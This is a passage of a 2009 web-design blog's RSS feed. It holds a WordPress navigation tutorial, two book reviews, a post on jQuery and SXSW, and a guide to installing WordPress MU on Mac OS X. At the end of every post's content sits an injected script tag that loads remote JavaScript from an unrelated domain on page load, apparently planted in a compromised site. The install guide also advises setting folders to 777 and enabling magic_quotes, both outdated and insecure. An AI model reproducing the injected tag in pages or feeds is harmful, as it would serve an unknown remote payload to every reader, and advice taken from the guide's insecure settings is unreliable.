<p>The ampersand between the two arguments just allows you to string together multiple arguments.  You can string together as many as you&#8217;d like to further develop your own custom WordPress queries using any of the further options detailed on the <a title="wp_list_pages template tag" href="http://codex.wordpress.org/wp_list_pages" target="_blank">WordPress.org <code>wp_list_pages</code> template tag page</a>.</p>
<h3>Check out the Coolness</h3>
<p>The last, and probably most worthwhile thing about building your nav in WordPress using pages is that while navigating your site, the list will be auto-updated with a class that allows you to style the current page&#8217;s button to look different than the other nav buttons.  After you&#8217;ve got your nav set up and working, visit one of the pages and then view the page source.  You&#8217;ll see the class of <code>current_page_item</code> applied to the list item for the page you&#8217;re currently on, automatically generated by WordPress for each page.</p>
<p>Now just start styling your way to a dynamic WordPress page-driven navigation!  If you need more info on the CSS required to float a list to the left that creates a horizontally oriented navigation out of an unordered list, check out this tutorial at <a title="456 Berea St." href="http://www.456bereastreet.com/archive/200501/turning_a_list_into_a_navigation_bar/" target="_blank">456 Berea St</a>.</p>
<p>I hope this can help you to build your own navigation, and take it even further using the WordPress.org template tag page.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.withinsightdesign.com/2009/how-to-setup-a-page-driven-nav-in-wordpress-27/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Review: Simply JavaScript by Kevin Yank and Cameron Adams</title>
		<link>http://www.withinsightdesign.com/2009/review-simply-javascript-by-kevin-yank-and-cameron-adams/</link>
		<comments>http://www.withinsightdesign.com/2009/review-simply-javascript-by-kevin-yank-and-cameron-adams/#comments</comments>
		<pubDate>Sun, 12 Apr 2009 14:03:34 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[Book Reviews]]></category>
		<category><![CDATA[Dojo]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[MooTools]]></category>
		<category><![CDATA[Prototype]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[YUI]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[Cameron Adams]]></category>
		<category><![CDATA[javascript libraries]]></category>
		<category><![CDATA[JavaScript tutorials]]></category>
		<category><![CDATA[Kevin Yank]]></category>

		<guid isPermaLink="false">http://www.withinsightdesign.com/?p=75</guid>
		<description><![CDATA[

Book review of Simply JavaScript by Kevin Yank and Cameron Adams

I read Simply JavaScript a few months back, and couldn&#8217;t help but include it in my reviews here at withinsight.com.  Its simply too good not to.  I&#8217;ve got a decent amount of JavaScript experience, although not necessarily through practice.  JavaScript has always been that part [...]]]></description>
			<content:encoded><![CDATA[<div class="entry">
<div class="hreview">
<h3 class="summary">Book review of Simply JavaScript by Kevin Yank and Cameron Adams</h3>
<div class="description"><a href="http://www.amazon.com/gp/product/0980285801?ie=UTF8&amp;tag=markepanth-20&amp;linkCode=as2&amp;camp=1789&amp;creative=9325&amp;creativeASIN=0980285801" target="_blank"><img class="alignright photo" src="/wp-content/themes/withinsightdesign/i/simply-javascript.jpg" alt="Simply JavaScript by Kevin Yank and Cameron Adams" /></a><img style="border:none !important; margin:0px !important;" src="http://www.assoc-amazon.com/e/ir?t=markepanth-20&amp;l=as2&amp;o=1&amp;a=0980285801" border="0" alt="" width="1" height="1" /></p>
<p>I read <em>Simply JavaScript</em> a few months back, and couldn&#8217;t help but include it in my reviews here at withinsight.com.  Its simply too good not to.  I&#8217;ve got a decent amount of JavaScript experience, although not necessarily through practice.  JavaScript has always been that part of my web design arsenal that I&#8217;ve wanted desperately to add, but has never seemed to work its way into regular usage in my day-to-day work.  You can&#8217;t say its for lack of trying, as I&#8217;ve read the first half of O&#8217;Reilly&#8217;s <em>JavaScript, The Definitive Guide</em>, which while full of great info, is not necessarily the best introduction to JavaScript for the beginning scripter.  I then found <em>DOM Scripting</em> by Jeremy Keith, which offers a very, very introductory level explanation of JavaScript before digging into the basics of <em>DOM Scripting</em>.  I had a decent picture of what else was out there in terms of JavaScript books.</p>
<p>Jeremy Keith is actually the one who <a title="Jeremy Keith's recommendation of Simply JavaScript" href="http://www.domscripting.com/blog/display/105" target="_blank">recommended <em>Simply JavaScript</em> on his website</a> a while back, which is how I originally heard about it.  He stated that his book <em>DOM Scripting</em> was intended for a very specific audience, and that there really weren&#8217;t any other books that did it as well as he does, until <em>Simply JavaScript</em> was released.  Very big of an author to acknowledge the competition with a tip of the hat.</p>
<h3>Meet Your New Friend, JavaScript</h3>
<p>If I could, I would probably go back and start from scratch originally with <em>Simply JavaScript</em>.  It is a perfect introduction for the web designer looking fill out the third leg of the XHTML/CSS/JS stool that we all sit upon.  <a title="Kevin Yank's blog" href="http://www.kevinyank.com/blog/" target="_blank">Yank</a> and <a title="Cameron Adam's homepage" href="http://themaninblue.com/" target="_blank">Adams</a> present the material in a way that anyone with a little XHTML and CSS experience will not only understand, but really find themselves enjoying.  I literally found myself laughing out loud at a few points, such as:</p>
<blockquote><p>The popularity of regular expressions has everything to do with how useful they are, and absolutely nothing to do with how easy they are to use &#8211; they&#8217;re not easy at all. In fact, to most people who encounter them for the first time, regular expressions look like something that might eventuate if you fell asleep with your face on the keyboard.</p></blockquote>
<p>Fantastic!  There are a number of moments like this that brighten up the pages.</p>
<p><em>Simply JavaScript</em> is written in a progressive tutorial format, so you can move through it chapter by chapter, rather than using it as a reference.  The one exception to this is the chapter on &#8220;Errors and Debugging&#8221; which falls fairly late in the book.  I was okay without it for the first few chapters, but once I got into chapters 4, 5 and 6 on events, animation, and form enhancements, respectively, I think I could have done with reading that chapter first.  In chapter 7, they introduce the Firebug Firefox extension, and how to use it to pause the state of JavaScript at selected lines in your code, which I definitely could have used a little earlier in the book while troubleshooting projects.</p>
<h3>JavaScript Libraries Galore</h3>
<p>Another great aspect of <em>Simply JavaScript</em> is how they relate the tutorials completed in each chapter to the respective current JavaScript library.  So if you&#8217;ve heard about all the cool stuff web designers and developers have been doing with libraries like Prototype &amp; script.aculo.us, MooTools, Dojo, jQuery, or Yahoo&#8217;s YUI, but haven&#8217;t been able to find practical uses for any of them in your projects, here&#8217;s where you can make the connection.</p>
<p>Yank &amp; Adams build a very nice core library that you can use to power a few solutions to design problems that have faced web designers for years, like building stripey tables on the fly, or validating form information.  They even get into more advanced topics like animation and AJAX.  Actually, after you read this book, you&#8217;ll probably realize how non-advanced these topics are.  This book truly does make JavaScript simple!</p>
<p>I feel like a lot of JavaScript is like a catch-22 in that until you read a book like this, you have a very limited arsenal.  You may know how to pop open a new window or change the behavior of a few links, but you don&#8217;t truly have a grasp of the potential of what you can accomplish with JavaScript.  Reading a book like <em>Simply JavaScript</em>, even if you don&#8217;t go into all the details and grasp every last concept, at a bare minimum lets you know what you <em>can</em> do, which will help you tremendously in future projects.</p>
<h3>First Impressions Make Such an Impact</h3>
<p>One last thing that I need to mention is the production quality of this book. Sitepoint really went all out.  I&#8217;ve got six Sitepoint books, everything from HTML basics to PHP, and <em>Simply JavaScript</em> is the only one that is full color. In addition to brightening up the pages with color, the footnotes are all located at the bottom of each page.  I was recently reading the O&#8217;Reilly book <em>AJAX Design Patterns</em>, and found it extremely annoying to have to continually skip over URLs in the middle of the text.  Sitepoint places URL footnotes where they should be, at the foot of each page, making it easier to concentrate on the text and code, and reference the footnotes when you want to.</p>
<p>Overall, this is absolutely the best starting point for the beginner JavaScript student, and I would recommend it to any web professional who works with code on a daily basis.  It will teach you to apply the same unobtrusive principles that you hopefully already apply of CSS to XHTML documents, instructing you how to do the same with JavaScript.</p>
<p class="item">You can purchase <em><a class="fn url" href="http://www.amazon.com/gp/product/0980285801?ie=UTF8&amp;tag=markepanth-20&amp;linkCode=as2&amp;camp=1789&amp;creative=9325&amp;creativeASIN=0980285801" target="_blank">Simply JavaScript</a></em><img style="border:none !important; margin:0px !important;" src="http://www.assoc-amazon.com/e/ir?t=markepanth-20&amp;l=as2&amp;o=1&amp;a=0980285801" border="0" alt="" width="1" height="1" /> over at Amazon.com.</p>
<h3>Rating</h3>
<ul class="ratings">
<li class="nine">Overall: <span class="rating"><span class="value">9</span> out of <span class="best">10</span></span></li>
</ul>
</div>
</div>
</div>
<p><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.withinsightdesign.com/2009/review-simply-javascript-by-kevin-yank-and-cameron-adams/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>SXSW and jQuery</title>
		<link>http://www.withinsightdesign.com/2009/sxsw-and-jquery/</link>
		<comments>http://www.withinsightdesign.com/2009/sxsw-and-jquery/#comments</comments>
		<pubDate>Mon, 16 Mar 2009 21:17:51 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[Conferences]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[Alex King]]></category>
		<category><![CDATA[boagworld]]></category>
		<category><![CDATA[Eric Meyer]]></category>
		<category><![CDATA[javascript libraries]]></category>
		<category><![CDATA[Paul Boag]]></category>
		<category><![CDATA[Prototype]]></category>
		<category><![CDATA[sxsw]]></category>

		<guid isPermaLink="false">http://www.withinsightdesign.com/?p=68</guid>
		<description><![CDATA[So right about now I&#8217;m wishing that if I could be anywhere, it would be at SXSW (South by Southwest).  For those of you who don&#8217;t know, its about the coolest festival on the planet.  And I don&#8217;t know from experience, just from colleagues and coworkers and podcasts and industry moguls giving me an earful.
In [...]]]></description>
			<content:encoded><![CDATA[<p>So right about now I&#8217;m wishing that if I could be anywhere, it would be at <a title="South by Southwest" href="http://sxsw.com/music/shows" target="_blank">SXSW (South by Southwest)</a>.  For those of you who don&#8217;t know, its about the coolest festival on the planet.  And I don&#8217;t know from experience, just from colleagues and coworkers and podcasts and industry moguls giving me an earful.</p>
<p>In addition to being a hotspot for web design, SXSW boasts an impressive musical lineup each year, and this year I&#8217;ll be disappointed that I&#8217;ve missed The Everyday Visuals, Madi Diaz, and the undisputable heavyweight of soul, Miss Erykah Badu.</p>
<p>I&#8217;ve been hearing about it for weeks, from Paul Boag blabbering about it on his <a title="Boagworld.com" href="http://www.boagworld.com/" target="_blank">Boagworld podcast</a>, to having to postpone projects with colleagues who are attending, to CSS guru Eric Meyer tweeting, &#8220;If you&#8217;re not going to SXSW, tweet like you&#8217;re there.  Nobody will know the difference.&#8221;  Yeah, that almost makes up for not being able to attend.</p>
<p>But alas, I am not one to linger, and the time spent here at home has given me the opportunity to start exploring jQuery, which was recommended to me by <a title="Alex King author of WordPress Popularity Contest plugin" href="http://alexking.org/" target="_blank">Alex King</a>, famed author of the <a title="Alex King's WordPress plugins" href="http://alexking.org/projects/wordpress" target="_blank">WordPress Popularity Contest plugin</a>, and another item that Paul Boag has been going on endlessly about for months now.  I finally broke down and downloaded the library and started playing with it.</p>
<p>From my first impressions, Paul has reason to be going on endlessly.  It seems that the potential of what a web designer or developer can accomplish with the JavaScript library is in fact endless.  The first item that caught my eye was the fact that on the jQuery homepage they offer the expanded, developer version of the library, along with the compressed, production version.  I was immediately reminded of the hours I&#8217;ve spent testing the best method to minify, compress and serve my Prototype and Scriptaculous libraries.  jQuery does this for me?  Fantastic.</p>
<p>Second, I was really impressed with the quality and quantity of documentation.  Compared to Prototype, jQuery blows it out of the water in terms of a working online manual.  I think I&#8217;ve officially moved the &#8220;Prototype and script.aculo.us&#8221; book to the back of my &#8220;must read&#8221; list.  I&#8217;ve actually read the first half of it already, but it was cryptic and would have required re-reading on my part to fully absorb the material.  jQuery is the complete opposite.  There are video tutorials explaning the beginner steps.  Video tutorials.</p>
<p>The last thing about jQuery that really hooked me was the ease with which a web designer can pick up the library.  A lot of the arguments you pass to the library are the same as in CSS.  So if you&#8217;re looking for a div with the id of conference, you pass (&#8220;#conference&#8221;) as the argument.</p>
<p>It seems like its going to be really easy to quickly get up to speed with the library, and that it has a lot of power in terms of what you can do with it.  If you&#8217;re interested, check out the <a title="jQuery" href="http://jquery.com/" target="_blank">jQuery site</a>, the <a title="jQuery user interface" href="http://jqueryui.com/" target="_blank">jQuery UI site</a>, as well as some of the <a title="jQuery tutorials" href="http://docs.jquery.com/Tutorials" target="_blank">video tutorials</a>. Really, really, really cool stuff.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.withinsightdesign.com/2009/sxsw-and-jquery/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Installing WordPress MU on Mac OS X Leopard</title>
		<link>http://www.withinsightdesign.com/2009/installing-wordpress-mu-on-mac-os-x-leopard/</link>
		<comments>http://www.withinsightdesign.com/2009/installing-wordpress-mu-on-mac-os-x-leopard/#comments</comments>
		<pubDate>Sat, 28 Feb 2009 15:16:42 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[WordPress MU]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[bbpress]]></category>
		<category><![CDATA[buddypress]]></category>
		<category><![CDATA[install]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[wpmu]]></category>

		<guid isPermaLink="false">http://www.withinsightdesign.com/?p=62</guid>
		<description><![CDATA[I&#8217;ve run through this process a few times now, so I thought I&#8217;d document my steps for anyone who&#8217;s interested in setting up the multi-user version of WordPress on their local box for testing purposes.  The power of the multi-user version of WordPress is impressive, especially when combined with BBPress for forums, and the teetering-on-official-release [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve run through this process a few times now, so I thought I&#8217;d document my steps for anyone who&#8217;s interested in setting up the multi-user version of WordPress on their local box for testing purposes.  The power of the multi-user version of WordPress is impressive, especially when combined with BBPress for forums, and the teetering-on-official-release BuddyPress for social aspects.  Ready to dig in?  Lets go.</p>
<p>The first thing you need to ensure prior to installing WordPress MU locally is that you have the underlying technologies installed.  WordPress and WordPress MU run on LAMP, or in this case MAMP.  There are all-in-one packages out there that install all three for you, and OS X does come with versions of Apache and PHP, but we want to learn how to get our hands dirty and be able to fix anything ourselves in times of crisis, right? So we need to make sure you&#8217;ve got Apache running, MySQL installed with a dedicated database setup, and PHP installed.</p>
<h3>Turning on the Apache Web Server</h3>
<p>First, we&#8217;ll tackle Apache.  This sentence will probably take longer to write than it will for you to turn on Apache on your Mac.  Go to System Preferences &gt; Sharing &gt; Web Sharing.  Checking of the &#8220;Web Sharing&#8221; checkbox here toggles the Apache server.  If you ever need to restart Apache, its as easy as coming in here, unchecking the &#8220;Web Sharing&#8221; checkbox, and checking it again.  Cake.</p>
<h3>Installing MySQL</h3>
<p>On to MySQL.  You&#8217;ll need to download the most recent version of MySQL, which can be found at the <a href="http://dev.mysql.com/downloads/" target="_blank">MySQL downloads page</a>. Click &#8220;downloads&#8221; under the MySQL Community Server section.  Scroll down to the &#8220;Mac OS X (package format)&#8221; link and click.  Here is where you&#8217;ll have to ensure you download the proper package based on your Mac.  I chose the 10.5 (x86) since I&#8217;m running an Intel MacBook Pro, which ias the x86 processor. After you determine which package suits your Mac, click the &#8220;pick a mirror&#8221; link, and if you&#8217;ve never downloaded anything from the MySQL site before, you&#8217;ll have to register quickly.  Once you&#8217;ve registered and downloaded the dmg (named <code>mysql-5.1.31-osx10.5-x86.dmg</code> in my case), you&#8217;re ready to run the installer.</p>
<p>Once you&#8217;ve opened the dmg, you&#8217;ll see two .pkg files we&#8217;ll be interested in.  First, run the installer pkg file, which will walk you through a simple install.  After the initial install you&#8217;ll want to launch MySQLStartupItem.pkg, which will ensure that MySQL starts each time you restart your Mac. You&#8217;ve now got MySQL installed on your Mac!  Note the install location, as we&#8217;ll need that later on to create the database for WordPress MU.  Mine installed at /usr/local/mysql/bin/mysql.</p>
<p>Another item worth mentioning is that working with MySQL, PHP and Apache requires you to have access to a lot of OS X&#8217;s hidden files.  I recommend a great OS X app called <a title="FileXaminer" href="http://www.gideonsoftworks.com/filexaminer.html" target="_blank">FileXaminer</a>, which I read about in MacWorld a while back.  FileXaminer lets you browse all the hidden files in Finder, and chmod the permissions on files and folders directly from Finder, rather than the command line.  Definitely a great solution for 10 bucks.</p>
<h3>Installing PHP</h3>
<p>The final piece of our MAMP stack is PHP.  PHP installation is fairly straightforward, and the best package online is located at <a title="Entropy's PHP download page" href="http://www.entropy.ch/software/macosx/php/" target="_blank">Entropy&#8217;s PHP download page</a>. There&#8217;s a box on this page titled &#8220;PHP 5 on Mac OS X 10.4, PPC and Intel&#8221;, and you can select the &#8220;PHP 5.2.4 for Apache 2&#8243; package.  Its definitely worth reading through this page first, but most users will have the default setup of Apache, and won&#8217;t need to make any changes prior to running the install.</p>
<p>After running the entropy installer, you can run a test to make sure everything went well.  Create a file titled test.php, and stick the following code in it: <code>&lt;?php phpinfo() ?&gt;</code>. Put test.php in your /Sites folder (/Users/yourusername/Sites), and then open up http://10.0.1.2/~yourusername/test.php.  The IP used in this example is found in System Preferences &gt; Sharing &gt; Web Sharing.</p>
<p>The phpinfo function is a great way to quickly check all the settings of your PHP install, so save this test file for reference in the future.</p>
<p>There&#8217;s one final tweak to PHP that&#8217;s really a best practice.  You&#8217;ll want to navigate to your php.ini file, and open it in your favorite text editor.  My php.ini is located at /private/etc/php.ini.  Make a duplicate of this file (sometimes the original will be called php.ini.default, so make a dup called php.ini).  Once you&#8217;ve opened the php.ini file, search for &#8220;register_globals = On&#8221;, and switch it to register_globals = Off&#8221;.  Also, search for &#8220;magic_quotes_gpc = Off&#8221; and switch it to &#8220;magic_quotes_gpc = On&#8221;.  In the php.ini file, all lines that start with a ; are commented out, so you&#8217;ll want to search for these two lines that are not commented out and then make the changes.</p>
<p>Save the changes in php.ini, then restart Apache in System Preferences.  Then open your test.php file again, and look for the changes to make sure they were made.</p>
<h3>Installing WordPress MU</h3>
<p>Finally, its time for the money melon.  Download the <a title="WordPress MU download" href="http://mu.wordpress.org/download/" target="_blank">latest version of WordPress MU</a> from the download page.  Unzip the package and stick it in your /Sites directory, and rename (I chose &#8220;wpmu&#8221;).  The first thing you&#8217;ll want to do before attempting to install WordPress MU is to open the README.txt file that is in the root directory of the unzipped WPMU package.  You&#8217;ll want to read this carefully and cater the specific files you your specific install case, but they basically touch upon the php.ini file that we&#8217;ve already edited, and the httpd.conf file, which is Apache&#8217;s root config file.  I found mine located at /private/etc/httpd.conf.  You can find a better understanding of the <a title="httpd.conf fun!" href="http://httpd.apache.org/docs/2.0/configuring.html" target="_blank">Apache httpd.conf</a> file, the <a title="Apache directive fun!" href="http://httpd.apache.org/docs/2.0/mod/directives.html" target="_blank">directives contained within</a>, and an explanation of the <a title="htaccess fun!" href="http://httpd.apache.org/docs/2.0/howto/htaccess.html" target="_blank">.htaccess files</a> you can use to override the httpd.conf file in your local sites at the Apache web site.  I found that after reading a few short pages here, that the Apache config file cascade is very similar to the cascade of CSS files and rules.  Cool stuff.</p>
<h3>Creating a MySQL database</h3>
<p>Once you&#8217;ve read through the README.txt and made appropriate changes to your php.ini and httpd.conf files (and taken decent notes, hopefully), you&#8217;re ready for the install.  Since you&#8217;ve already got the files unzipped in your /Sites directory, the next step of the install is creating the database. Open the Terminal application (Applications &gt; Utilities &gt; Terminal), and type the following command:</p>
<p>/usr/local/mysql/bin/mysql -u root -p</p>
<p>where the path matches the MySQL path I mentioned to remember earlier.  The -u root tells MySQL that you want to login as &#8220;username root&#8221;, and the -p tells MySQL to prompt you for a password. If you&#8217;ve never logged into MySQL in terminal before, the username for root will either be root or blank.  After you&#8217;ve successfully logged into MySQL, you&#8217;ll know as the command prompt will have changed to:</p>
<p>mysql&gt;</p>
<p>To create a database, type the following command:</p>
<p>CREATE DATABASE wpmu;</p>
<p>where wpmu is the name of the database.  You can name the database whatever you&#8217;d like, but make sure to follow it with the semi-colon, and remember the name of your database.</p>
<p>While we&#8217;re in here, its probably a good idea to change your root username.  Type the following command:</p>
<p>UPDATE mysql.user SET Password=PASSWORD(&#8220;new password&#8221;) WHERE User=&#8221;root&#8221;;</p>
<p>Replace the new password with your desired password.  Once we&#8217;ve created the database, and updated the root MySQL user&#8217;s password (and noted both), we can exit MySQL by typing:</p>
<p>exit</p>
<h3>Running the WPMU Installer</h3>
<p>You can now open the index.php from your wpmu folder in your web browser.  It may tell you that you have to change the permissions on a few folders prior to running the install.  If this occurs, it is extremely easy to modify the permissions using FileXaminer.  The two folders you&#8217;ll have to mod are the root /wpmu folder and the /wp-content folder, changing the permissions on both from 755 to 777.  After you&#8217;ve made these changes, refresh the index.php file, and enter the proper information.</p>
<p>Since WPMU doesn&#8217;t allow you to install at &#8220;localhost&#8221;, and you have to use &#8220;localhost.localdomain&#8221;, I had to make a change in my hosts file as well.  The file is located in /private/etc/hosts, and I changed:</p>
<p>127.0.0.1 localhost</p>
<p>to</p>
<p>127.0.0.1 localhost.localdomain</p>
<p>and resaved the file.  Also note that I set the database location to &#8220;localhost.localdomain&#8221;.  The other information on the install screen should be pretty simple; the database name and password we just created in MySQL.  Once you&#8217;ve filled out the form, submit and you should be looking at a nice, fresh, local install of WPMU.</p>
<p>If you do get stuck, the <a href="http://mu.wordpress.org/forums/" target="_blank">WPMU Forums</a> are a big help, as most likely users have run into your same problem. The steps above worked for me, but there may be variables with your certain configuration that you&#8217;ll need answered in the Forums.</p>
<p>Good luck, and happy WPMU&#8217;ing!</p>
<p><strong>UPDATE 3/4/09:</strong> If you&#8217;d like to configure OS X Leopard to host multiple local Wordpress instances, follow this great <a title="Apache Virtual Host Tutorial" href="http://www.oreillynet.com/pub/a/apache/2003/07/24/vhosts.html" target="_blank">tutorial at O&#8217;Reilly</a>.  I&#8217;ve spent hours piecing together solutions from various articles, but this O&#8217;Reilly article sums it up great.  Basically, I&#8217;ve now got WPMU running locally at test.wpmu.local, and WordPress running locally at test.wp.local.  Apache&#8217;s Virtual Hosts are really powerful, and essential if you&#8217;re going to be working on multiple client websites that run on WordPress.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.withinsightdesign.com/2009/installing-wordpress-mu-on-mac-os-x-leopard/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Review: Web Standards Solutions by Dan Cederholm</title>
		<link>http://www.withinsightdesign.com/2009/review-web-standards-solutions-by-dan-cederholm/</link>
		<comments>http://www.withinsightdesign.com/2009/review-web-standards-solutions-by-dan-cederholm/#comments</comments>
		<pubDate>Sun, 22 Feb 2009 15:16:27 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[Book Reviews]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[Web Standards]]></category>
		<category><![CDATA[Dan Cederholm]]></category>
		<category><![CDATA[Designing with Web Standards]]></category>
		<category><![CDATA[Jeffrey Zeldman]]></category>
		<category><![CDATA[The Markup and Style Handbook]]></category>
		<category><![CDATA[Web Standards Solutions]]></category>

		<guid isPermaLink="false">http://www.withinsightdesign.com/?p=46</guid>
		<description><![CDATA[

Book review of Dan Cederholm’s Web Standards Solutions

Web Standards Solutions: The Markup and Style Handbook is just that: an essential guide and reference that builds upon the theory presented in Jeffrey Zeldman&#8217;s Designing with Web Standards with real-world practices.  Dan Cederholm is a designer working full-time in the field, and he presents practical and easily [...]]]></description>
			<content:encoded><![CDATA[<div class="entry">
<div class="hreview">
<h3 class="summary">Book review of Dan Cederholm’s Web Standards Solutions</h3>
<div class="description"><a href="http://www.amazon.com/gp/product/1430219203?ie=UTF8&amp;tag=markepanth-20&amp;linkCode=as2&amp;camp=1789&amp;creative=9325&amp;creativeASIN=1430219203" target="_blank"><img class="alignright photo" src="/wp-content/themes/withinsightdesign/i/web-standards-solutions.jpg" alt="Web Standards Solutions by Dan Cederholm" /></a><img style="border:none !important; margin:0px !important;" src="http://www.assoc-amazon.com/e/ir?t=markepanth-20&amp;l=as2&amp;o=1&amp;a=1430219203" border="0" alt="" width="1" height="1" /></p>
<p><em>Web Standards Solutions: The Markup and Style Handbook</em> is just that: an essential guide and reference that builds upon the theory presented in Jeffrey Zeldman&#8217;s <em>Designing with Web Standards</em> with real-world practices.  Dan Cederholm is a designer working full-time in the field, and he presents practical and easily understood examples in a light tone.  This book is nothing less than essential for today&#8217;s working web designer.  Oh, and did I mention the 2nd edition is just around the corner, slated for release in May 2009?</p>
<h3>Part One: Get Down with Markup</h3>
<p>The book is split into two sections: the first reviews markup and creative methods of implementation, the second delves into CSS and solves many of the issues facing the modern CSS designer.  I&#8217;ve got over ten years of experience in the web design field, and I was simply amazed at some of the practical solutions to problems that I had faced.  Covering the essentials, from lists, headings, tables and forms, to expanding their usage through markup minimization and the application of Microformats, <em>Web Standards Solutions</em> contains inventive methods that are not only web standards compliant, but will save you time in your day to day projects.</p>
<p>One of my favorite chapters was the one covering anchors.  Countless times I&#8217;ve used semantically meaningless empty anchors to have the user jump lower in an HTML page.  This solution seems almost rudimentary, but gives meaning to my markup.  Its really almost comical how many decisions you make while coding without stopping to consider the implications when working a full-time job.  Another favorite that I put into immediate practice over at NESN.com was the chapter on tables, and the relations we can establish between data.  Taking the knowledge I took from Dan&#8217;s review of table markup, I combined it with the hCalendar chapter from my Microformats book and built the team calendars on NESN.com.  Check out the <a title="Boston Red Sox hCalendar Schedule" href="http://www.nesn.com/content/redsox/schedule.aspx" target="_blank">Red Sox schedule</a> as an example.</p>
<h3>Part Two: SimpleBits of Style</h3>
<p>The second section of the book covers practical usage of CSS.  The one chapter I have referred to frequently is the section on building CSS layouts.  Cederholm breaks down CSS layout into four distinct methods, communicated in their most simplistic format, to ease the learning curve and also simplify the transition of using them as skeletons for your site designs.</p>
<p>Another technique I&#8217;ve pulled from this book is the &#8220;faux columns&#8221; created by repeating a background image vertically.  I&#8217;ve used this on just about all my sites I&#8217;ve designed since reading the book, and would recommend the investment so you can do the same.</p>
<p>The fact that <em>Web Standards Solutions: The Markup and Style Handbook</em> is an essential piece of the web designer&#8217;s arsenal is undeniable.  I have a personal connection to the book, as Dan makes reference to and uses in some of the book&#8217;s examples the Boston Red Sox, and their path to the title in 2004, when the 1st edition was originally published.  Being from the Boston area and working for NESN I definitely found the examples delightful.  Also going to Endicott college in Beverly, MA, I spent a good amount of time in Salem, where Dan&#8217;s <a title="SimpleBits: Handcrafted Pixels and Text from Salem, Massachusetts" href="http://www.simplebits.com/" target="_blank">SimpleBits</a> studio is located.</p>
<p class="item">The second edition of <em>Web Standards Solutions</em> is set for release in May, 2009. You can purchase <em><a class="fn url" href="http://www.amazon.com/gp/product/1430219203?ie=UTF8&amp;tag=markepanth-20&amp;linkCode=as2&amp;camp=1789&amp;creative=9325&amp;creativeASIN=1430219203" target="_blank">Web Standards Solutions</a></em><img style="border:none !important; margin:0px !important;" src="http://www.assoc-amazon.com/e/ir?t=markepanth-20&amp;l=as2&amp;o=1&amp;a=1430219203" border="0" alt="" width="1" height="1" /> over at Amazon.com.</p>
<h3>Rating</h3>
<ul class="ratings">
<li class="eight">Overall: <span class="rating"><span class="value">8</span> out of <span class="best">10</span></span></li>
</ul>
</div>
</div>
</div>
<p><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.withinsightdesign.com/2009/review-web-standards-solutions-by-dan-cederholm/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
